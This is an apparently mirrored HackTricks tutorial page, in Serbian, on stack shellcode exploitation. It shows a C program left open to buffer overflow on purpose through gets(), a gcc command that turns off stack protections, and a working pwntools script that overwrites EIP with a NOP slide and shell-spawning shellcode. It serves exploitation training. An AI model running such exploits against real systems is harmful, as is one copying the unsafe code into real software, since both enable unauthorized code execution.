mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 16:10:54 +00:00
99 lines
5.9 KiB
Markdown
99 lines
5.9 KiB
Markdown
# Stack Shellcode
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
|
|
## Osnovne informacije
|
|
|
|
**Stack shellcode** je tehnika korišćena u **binarnom eksploatisanju** gde napadač piše shellcode u stack ranjivog programa, a zatim modifikuje **Instruction Pointer (IP)** ili **Extended Instruction Pointer (EIP)** da pokazuje na lokaciju ovog shellcode-a, uzrokujući njegovo izvršavanje. Ovo je klasična metoda korišćena za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljnom sistemu. Evo detaljnog objašnjenja procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa **pwntools**.
|
|
|
|
### C Primer: Ranjiv program
|
|
|
|
Započnimo sa jednostavnim primerom ranjivog C programa:
|
|
```c
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
void vulnerable_function() {
|
|
char buffer[64];
|
|
gets(buffer); // Unsafe function that does not check for buffer overflow
|
|
}
|
|
|
|
int main() {
|
|
vulnerable_function();
|
|
printf("Returned safely\n");
|
|
return 0;
|
|
}
|
|
```
|
|
Ovaj program je ranjiv na preplavljivanje bafera zbog korišćenja `gets()` funkcije.
|
|
|
|
### Kompilacija
|
|
|
|
Da biste kompajlirali ovaj program isključujući različite zaštite (kako biste simulirali ranjivo okruženje), možete koristiti sledeću komandu:
|
|
```sh
|
|
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
|
```
|
|
* `-fno-stack-protector`: Onemogućava zaštitu steka.
|
|
* `-z execstack`: Čini stek izvršivim, što je neophodno za izvršavanje shell koda smeštenog na steku.
|
|
* `-no-pie`: Onemogućava izvršavanje nezavisnog od položaja izvršnog fajla, olakšavajući predviđanje memorijske adrese gde će se nalaziti naš shell kod.
|
|
* `-m32`: Kompajlira program kao 32-bitni izvršni fajl, često korišćeno radi jednostavnosti u razvoju eksploatacije.
|
|
|
|
### Python Eksploatacija korišćenjem Pwntools
|
|
|
|
Evo kako biste mogli napisati eksploataciju u Pythonu koristeći **pwntools** za izvođenje **ret2shellcode** napada:
|
|
```python
|
|
from pwn import *
|
|
|
|
# Set up the process and context
|
|
binary_path = './vulnerable'
|
|
p = process(binary_path)
|
|
context.binary = binary_path
|
|
context.arch = 'i386' # Specify the architecture
|
|
|
|
# Generate the shellcode
|
|
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
|
|
|
|
# Find the offset to EIP
|
|
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
|
|
|
|
# Prepare the payload
|
|
# The NOP slide helps to ensure that the execution flow hits the shellcode.
|
|
nop_slide = asm('nop') * (offset - len(shellcode))
|
|
payload = nop_slide + shellcode
|
|
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
|
|
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
|
|
|
# Send the payload
|
|
p.sendline(payload)
|
|
p.interactive()
|
|
```
|
|
Ovaj skript konstruiše payload koji se sastoji od **NOP slide-a**, **shellcode-a**, a zatim prepisuje **EIP** sa adresom koja pokazuje na NOP slide, osiguravajući izvršenje shellcode-a.
|
|
|
|
**NOP slide** (`asm('nop')`) se koristi kako bi se povećala šansa da izvršavanje "klizi" u naš shellcode bez obzira na tačnu adresu. Prilagodite argument `p32()` početnoj adresi vašeg bafera plus offset kako biste dospele do NOP slide-a.
|
|
|
|
## Zaštite
|
|
|
|
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **treba da bude onemogućen** kako bi adresa bila pouzdana tokom izvršavanja ili adresa gde će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki leak kako biste saznali gde je funkcija učitana.
|
|
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) takođe treba da budu onemogućeni ili kompromitovana povratna adresa EIP-a neće biti praćena.
|
|
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) zaštita **stack-a** bi sprečila izvršavanje shellcode-a unutar stack-a jer ta regija neće biti izvršiva.
|
|
|
|
## Ostali Primeri & Reference
|
|
|
|
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
|
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
|
|
* 64-bit, ASLR sa leak-om adrese stack-a, pisanje shellcode-a i skakanje na njega
|
|
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
|
|
* 32-bit, ASLR sa leak-om adrese stack-a, pisanje shellcode-a i skakanje na njega
|
|
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
|
|
* 32-bit, ASLR sa leak-om adrese stack-a, upoređivanje za sprečavanje poziva exit(), prepisivanje promenljive sa vrednošću, pisanje shellcode-a i skakanje na njega
|